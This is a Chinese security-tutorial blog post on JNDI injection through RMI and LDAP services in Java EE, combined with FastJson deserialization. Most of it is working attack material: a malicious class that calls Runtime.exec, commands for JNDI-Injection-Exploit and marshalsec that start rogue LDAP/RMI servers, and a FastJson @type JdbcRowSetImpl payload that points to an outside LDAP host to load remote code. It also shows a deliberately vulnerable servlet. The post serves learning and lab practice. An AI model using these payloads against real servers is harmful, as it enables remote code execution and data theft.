安全安全开发第37天:安全开发-JavaEE应用&JNDI&RMI服务&LDAP服务&JDK绕过&调用链类
Yatming的博客JNDI注入的版本限制:

演示案例:
JNDI 注入-RMI&LDAP 服务
JNDI 注入-FastJson 漏洞结合
JNDI 注入-JDK 高版本注入绕过
jndi.java
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
|
这里的这个远程地址,可以使用上一节使用的那个jar包。
1
| java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 10.20.0.92
|

然后将这个符合版本的地址放到代码中的url变量中。如果java版本符合就会远程执行计算器的操作。
第二种使用自己编译的class文件marshalsec
首先自己写利用代码:
Test.java
1 2 3 4 5 6 7
| import java.lang.Runtime;
public class Calc { public Calc() throws Exception{ Runtime.getRuntime().exec("calc"); } }
|
将这个java文件编译成class文件,然后将这个文件上传到云服务器上,然后在使用如下命令执行,最后在代码中写入远程地址:
1 2 3 4 5 6 7 8 9
| #遍历class文件: javac xxx.java文件
#将这个文件上传到云服务器上 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test #这里这个命令是生成ldap协议的
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test #这个命令是生成RMI协议的
|
然后在代码中将地址拼接在里面:
client.java
1 2 3 4 5 6 7 8 9 10 11 12
| import javax.naming.InitialContext;
public class Client { public static void main(String[] args) throws Exception{ new InitialContext().lookup("ldap://10.20.0.92:1389/Test");
} }
|

高版本绕过
1 2 3
| https://tttang.com/archive/1405/ https://forum.butian.net/share/2960 https://stack.chaitin.com/techblog/detail/249
|
JNDI注入-FastJson漏洞结合
1 2 3 4
| 背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入 漏洞利用==FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,==攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
|
Fastjson反序列化漏洞复现:
1
| https://blog.csdn.net/weixin_49150931/article/details/126056687
|
Fsweb.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.example.fsjndi;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;
@WebServlet("/json") public class Fsweb extends HelloServlet{
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String jsondata=req.getParameter("str"); System.out.println(jsondata); JSONObject jsonObject = JSON.parseObject(jsondata); System.out.println(jsonObject); } }
|
index.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <!DOCTYPE html> <html> <head> <title>JSP - Hello World</title> </head> <body> <h1><%= "Hello World!" %> </h1> <br/> <a href="hello-servlet">Hello Servlet</a> <form action="/json" method="post"> please input json data:<input type="text" name="str"><br> <input type="submit" value="提交"> </form> </body> </html>
|
这里如果你的java版本还是不符合就会出现,接受了响应,但是没有执行命令。

1
| {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.83.186.173:1389/ejzqto","autoCommit":true}
|
这里地址还是填写远程的地址。
那么在黑盒的情况下如何知道对方是使用fastjson的呢?
1 2 3 4 5
| https://blog.csdn.net/m0_71692682/article/details/125814861 一般手工是通过报错页面,或者通过查看请求包来看请求包中是否有json的格式。
https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md #Fastjson全版本检测及利用
|
报错判断,从报错页面来看是否有fastjson的关键字:
